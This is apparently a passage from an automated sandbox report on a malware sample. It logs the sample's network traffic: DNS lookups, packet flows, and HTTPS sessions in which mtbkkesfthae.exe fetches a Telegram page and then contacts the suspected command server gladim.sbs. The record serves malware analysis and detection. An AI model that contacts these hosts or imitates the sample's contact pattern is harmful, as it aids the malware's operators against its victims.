Dec 2, 2024 01:34:40.389873981 CET	443	55892	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:40.390635967 CET	55892	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:40.391875029 CET	55892	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:40.394356012 CET	55892	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:40.504009962 CET	443	55892	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:40.706830978 CET	443	55892	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:40.706845045 CET	443	55892	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:40.706854105 CET	443	55892	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:40.706857920 CET	443	55892	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:40.707226992 CET	55892	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:40.707501888 CET	55892	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:40.708894968 CET	443	55892	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:41.023185015 CET	443	55892	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:41.059134007 CET	55892	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:41.268260002 CET	55892	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:41.268503904 CET	55892	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:41.525049925 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:41.525316954 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:41.583558083 CET	443	55892	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:41.586307049 CET	443	55892	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:41.608788967 CET	443	55892	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:41.609117031 CET	55892	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:41.664807081 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:41.665154934 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:41.850660086 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:41.851561069 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:41.853888035 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:41.854607105 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:41.992897034 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:41.993549109 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:41.993680954 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:42.026832104 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:43.136737108 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:43.137054920 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:43.138458014 CET	55892	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:43.138911963 CET	55892	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:43.453624010 CET	443	55892	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:43.455308914 CET	443	55892	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:43.455424070 CET	443	55892	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:43.462441921 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:43.463939905 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:43.464828014 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:43.479504108 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:43.479893923 CET	55892	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:35:02.525921106 CET	138	138	192.168.2.7	192.168.2.255
Dec 2, 2024 01:35:33.245305061 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:33.245671988 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:33.245752096 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:33.245752096 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:34.294585943 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:34.294874907 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:34.295309067 CET	53032	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:35:34.296741962 CET	52413	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:35:34.296915054 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:34.297051907 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:34.376985073 CET	443	57852	172.64.41.3	192.168.2.7
Dec 2, 2024 01:35:34.391273022 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:34.433583021 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:34.485810041 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:34.485873938 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:34.618014097 CET	443	57852	172.64.41.3	192.168.2.7
Dec 2, 2024 01:35:34.618030071 CET	443	57852	172.64.41.3	192.168.2.7
Dec 2, 2024 01:35:34.618086100 CET	443	57852	172.64.41.3	192.168.2.7
Dec 2, 2024 01:35:34.618094921 CET	443	57852	172.64.41.3	192.168.2.7
Dec 2, 2024 01:35:34.619713068 CET	443	57852	172.64.41.3	192.168.2.7
Dec 2, 2024 01:35:34.638895035 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:34.638974905 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:34.639014006 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:34.669703007 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:34.714574099 CET	443	57852	172.64.41.3	192.168.2.7
Dec 2, 2024 01:35:34.810707092 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:34.810873032 CET	443	57852	172.64.41.3	192.168.2.7
Dec 2, 2024 01:35:34.815135956 CET	443	57852	172.64.41.3	192.168.2.7
Dec 2, 2024 01:35:34.815515995 CET	443	57852	172.64.41.3	192.168.2.7
Dec 2, 2024 01:35:34.852164984 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:34.962338924 CET	443	57852	172.64.41.3	192.168.2.7
Dec 2, 2024 01:35:34.989085913 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:34.993901968 CET	443	57852	172.64.41.3	192.168.2.7
Dec 2, 2024 01:35:36.485877037 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:36.485975027 CET	57852	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:36.811417103 CET	443	57852	172.64.41.3	192.168.2.7
Dec 2, 2024 01:35:36.813358068 CET	443	57852	172.64.41.3	192.168.2.7
Dec 2, 2024 01:35:36.813700914 CET	443	57852	172.64.41.3	192.168.2.7
Dec 2, 2024 01:35:36.821605921 CET	57852	443	192.168.2.7	172.64.41.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 2, 2024 01:34:16.184626102 CET	192.168.2.7	1.1.1.1	c236	(Port unreachable)	Destination Unreachable
Dec 2, 2024 01:34:31.446959019 CET	192.168.2.7	1.1.1.1	c2ba	(Port unreachable)	Destination Unreachable
Dec 2, 2024 01:34:34.149427891 CET	192.168.2.7	1.1.1.1	c24d	(Port unreachable)	Destination Unreachable
Dec 2, 2024 01:34:35.949418068 CET	192.168.2.7	1.1.1.1	c212	(Port unreachable)	Destination Unreachable
Dec 2, 2024 01:34:37.765516996 CET	192.168.2.7	1.1.1.1	c29e	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 2, 2024 01:33:57.739823103 CET	192.168.2.7	1.1.1.1	0x446	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:33:59.949028015 CET	192.168.2.7	1.1.1.1	0xcf84	Standard query (0)	gladim.sbs	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:15.946598053 CET	192.168.2.7	1.1.1.1	0x42a2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:15.946743965 CET	192.168.2.7	1.1.1.1	0xf897	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 2, 2024 01:34:30.766637087 CET	192.168.2.7	1.1.1.1	0xf15b	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:30.766778946 CET	192.168.2.7	1.1.1.1	0x4c06	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Dec 2, 2024 01:34:33.232028008 CET	192.168.2.7	1.1.1.1	0x22f3	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:33.232825041 CET	192.168.2.7	1.1.1.1	0x96fa	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Dec 2, 2024 01:34:33.916486025 CET	192.168.2.7	1.1.1.1	0x2d0c	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:33.916840076 CET	192.168.2.7	1.1.1.1	0xc1a2	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Dec 2, 2024 01:34:35.811806917 CET	192.168.2.7	1.1.1.1	0xa15c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:35.812026978 CET	192.168.2.7	1.1.1.1	0x7ea4	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 2, 2024 01:34:35.814537048 CET	192.168.2.7	1.1.1.1	0xeb68	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:35.814697981 CET	192.168.2.7	1.1.1.1	0xa1c2	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 2, 2024 01:34:35.854444027 CET	192.168.2.7	1.1.1.1	0x6a43	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:35.854901075 CET	192.168.2.7	1.1.1.1	0x7b3c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 2, 2024 01:34:35.877450943 CET	192.168.2.7	1.1.1.1	0x144c	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:35.877608061 CET	192.168.2.7	1.1.1.1	0x71c8	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Dec 2, 2024 01:34:35.899190903 CET	192.168.2.7	1.1.1.1	0x7fd9	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:35.899619102 CET	192.168.2.7	1.1.1.1	0x6f60	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Dec 2, 2024 01:34:35.946948051 CET	192.168.2.7	1.1.1.1	0x6a4c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:35.947263002 CET	192.168.2.7	1.1.1.1	0xa757	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 2, 2024 01:34:35.949207067 CET	192.168.2.7	1.1.1.1	0xf3e5	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:35.949335098 CET	192.168.2.7	1.1.1.1	0x9dbc	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Dec 2, 2024 01:34:35.949547052 CET	192.168.2.7	1.1.1.1	0xa58e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:35.949654102 CET	192.168.2.7	1.1.1.1	0x2e8f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 2, 2024 01:34:35.951359987 CET	192.168.2.7	1.1.1.1	0x2b99	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:35.951466084 CET	192.168.2.7	1.1.1.1	0x5065	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 2, 2024 01:34:36.038836002 CET	192.168.2.7	1.1.1.1	0xc2a2	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:36.038979053 CET	192.168.2.7	1.1.1.1	0xe116	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Dec 2, 2024 01:34:36.169101000 CET	192.168.2.7	1.1.1.1	0x9fd4	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:36.169317961 CET	192.168.2.7	1.1.1.1	0x2147	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Dec 2, 2024 01:35:34.295309067 CET	192.168.2.7	1.1.1.1	0xe66d	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:35:34.296741962 CET	192.168.2.7	1.1.1.1	0xd8be	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 2, 2024 01:33:57.877348900 CET	1.1.1.1	192.168.2.7	0x446	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:00.345128059 CET	1.1.1.1	192.168.2.7	0xcf84	No error (0)	gladim.sbs		94.130.210.71	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:16.083906889 CET	1.1.1.1	192.168.2.7	0xf897	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 2, 2024 01:34:16.084105015 CET	1.1.1.1	192.168.2.7	0x42a2	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:30.905514956 CET	1.1.1.1	192.168.2.7	0x4c06	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 01:34:30.905524969 CET	1.1.1.1	192.168.2.7	0xf15b	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 01:34:31.315635920 CET	1.1.1.1	192.168.2.7	0xa241	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 01:34:31.315635920 CET	1.1.1.1	192.168.2.7	0xa241	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:31.446890116 CET	1.1.1.1	192.168.2.7	0x92f5	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 01:34:33.370069981 CET	1.1.1.1	192.168.2.7	0x22f3	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 01:34:33.370790005 CET	1.1.1.1	192.168.2.7	0x96fa	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 01:34:34.054723024 CET	1.1.1.1	192.168.2.7	0x2d0c	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 01:34:34.054723024 CET	1.1.1.1	192.168.2.7	0x2d0c	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:34.149359941 CET	1.1.1.1	192.168.2.7	0xc1a2	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 01:34:35.949367046 CET	1.1.1.1	192.168.2.7	0xa15c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:35.949367046 CET	1.1.1.1	192.168.2.7	0xa15c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:35.949461937 CET	1.1.1.1	192.168.2.7	0x7ea4	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 2, 2024 01:34:35.951683044 CET	1.1.1.1	192.168.2.7	0xeb68	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:35.951683044 CET	1.1.1.1	192.168.2.7	0xeb68	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:35.951817989 CET	1.1.1.1	192.168.2.7	0xa1c2	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 2, 2024 01:34:35.991734982 CET	1.1.1.1	192.168.2.7	0x6a43	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:35.991734982 CET	1.1.1.1	192.168.2.7	0x6a43	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:35.992477894 CET	1.1.1.1	192.168.2.7	0x7b3c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 2, 2024 01:34:36.014676094 CET	1.1.1.1	192.168.2.7	0x71c8	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 01:34:36.014806986 CET	1.1.1.1	192.168.2.7	0x144c	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 01:34:36.037832975 CET	1.1.1.1	192.168.2.7	0x7fd9	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:36.037832975 CET	1.1.1.1	192.168.2.7	0x7fd9	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:36.037832975 CET	1.1.1.1	192.168.2.7	0x7fd9	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:36.037832975 CET	1.1.1.1	192.168.2.7	0x7fd9	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:36.085083008 CET	1.1.1.1	192.168.2.7	0xa757	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 2, 2024 01:34:36.085094929 CET	1.1.1.1	192.168.2.7	0x6a4c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:36.085094929 CET	1.1.1.1	192.168.2.7	0x6a4c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:36.086530924 CET	1.1.1.1	192.168.2.7	0xa58e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:36.086530924 CET	1.1.1.1	192.168.2.7	0xa58e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:36.086540937 CET	1.1.1.1	192.168.2.7	0x2e8f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 2, 2024 01:34:36.088116884 CET	1.1.1.1	192.168.2.7	0xf3e5	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 01:34:36.088506937 CET	1.1.1.1	192.168.2.7	0x2b99	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:36.088506937 CET	1.1.1.1	192.168.2.7	0x2b99	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:34:36.088551044 CET	1.1.1.1	192.168.2.7	0x5065	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 2, 2024 01:34:36.090682030 CET	1.1.1.1	192.168.2.7	0x9dbc	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 01:34:36.178471088 CET	1.1.1.1	192.168.2.7	0xc2a2	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 01:34:36.267119884 CET	1.1.1.1	192.168.2.7	0xe116	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 01:34:36.306350946 CET	1.1.1.1	192.168.2.7	0x9fd4	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 01:34:36.307488918 CET	1.1.1.1	192.168.2.7	0x2147	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 01:35:33.097143888 CET	1.1.1.1	192.168.2.7	0xe6e4	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:35:33.097143888 CET	1.1.1.1	192.168.2.7	0xe6e4	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:35:34.030687094 CET	1.1.1.1	192.168.2.7	0xe6e4	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:35:34.030687094 CET	1.1.1.1	192.168.2.7	0xe6e4	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:35:34.433324099 CET	1.1.1.1	192.168.2.7	0xe66d	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 01:35:34.434947014 CET	1.1.1.1	192.168.2.7	0xd8be	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 01:35:35.079143047 CET	1.1.1.1	192.168.2.7	0xe6e4	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:35:35.079143047 CET	1.1.1.1	192.168.2.7	0xe6e4	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:35:37.089962959 CET	1.1.1.1	192.168.2.7	0xe6e4	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:35:37.089962959 CET	1.1.1.1	192.168.2.7	0xe6e4	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:35:41.097187042 CET	1.1.1.1	192.168.2.7	0xe6e4	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:35:41.097187042 CET	1.1.1.1	192.168.2.7	0xe6e4	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:36:06.348877907 CET	1.1.1.1	192.168.2.7	0x610f	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:36:06.348877907 CET	1.1.1.1	192.168.2.7	0x610f	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:36:07.363451958 CET	1.1.1.1	192.168.2.7	0x610f	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:36:07.363451958 CET	1.1.1.1	192.168.2.7	0x610f	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:36:08.370333910 CET	1.1.1.1	192.168.2.7	0x610f	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:36:08.370333910 CET	1.1.1.1	192.168.2.7	0x610f	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
2024-12-02 00:34:38 UTC	172.64.41.3	192.168.2.7	0x0	No error (0)	shed.dual-low.s-part-0012.t-0009.t-msedge.net	s-part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	true
2024-12-02 00:34:38 UTC	172.64.41.3	192.168.2.7	0x0	No error (0)	s-part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	true

HTTP Request Dependency Graph

t.me

gladim.sbs

otelrules.azureedge.net

www.google.com

slscr.update.microsoft.com

fs.microsoft.com

api.edgeoffer.microsoft.com

chrome.cloudflare-dns.com

clients2.googleusercontent.com

https:

assets2.msn.com

browser.events.data.msn.com

edgeassetservice.azureedge.net

msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com

data-edge.smartscreen.microsoft.com

bzib.nelreports.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	149.154.167.99	443	1548	C:\Users\user\Desktop\mtbkkesfthae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:33:59 UTC	85	OUT	GET /gv4dlp HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-12-02 00:33:59 UTC	512	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 02 Dec 2024 00:33:59 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12297 Connection: close Set-Cookie: stel_ssid=9682d37a32429cf910_10770421933029892365; expires=Tue, 03 Dec 2024 00:33:59 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-12-02 00:33:59 UTC	12297	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 67 76 34 64 6c 70 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @gv4dlp</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	94.130.210.71	443	1548	C:\Users\user\Desktop\mtbkkesfthae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:02 UTC	225	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: gladim.sbs Connection: Keep-Alive Cache-Control: no-cache
2024-12-02 00:34:02 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 00:34:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-02 00:34:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49701	94.130.210.71	443	1548	C:\Users\user\Desktop\mtbkkesfthae.exe

Timestamp	Bytes transferred	Direction	Data
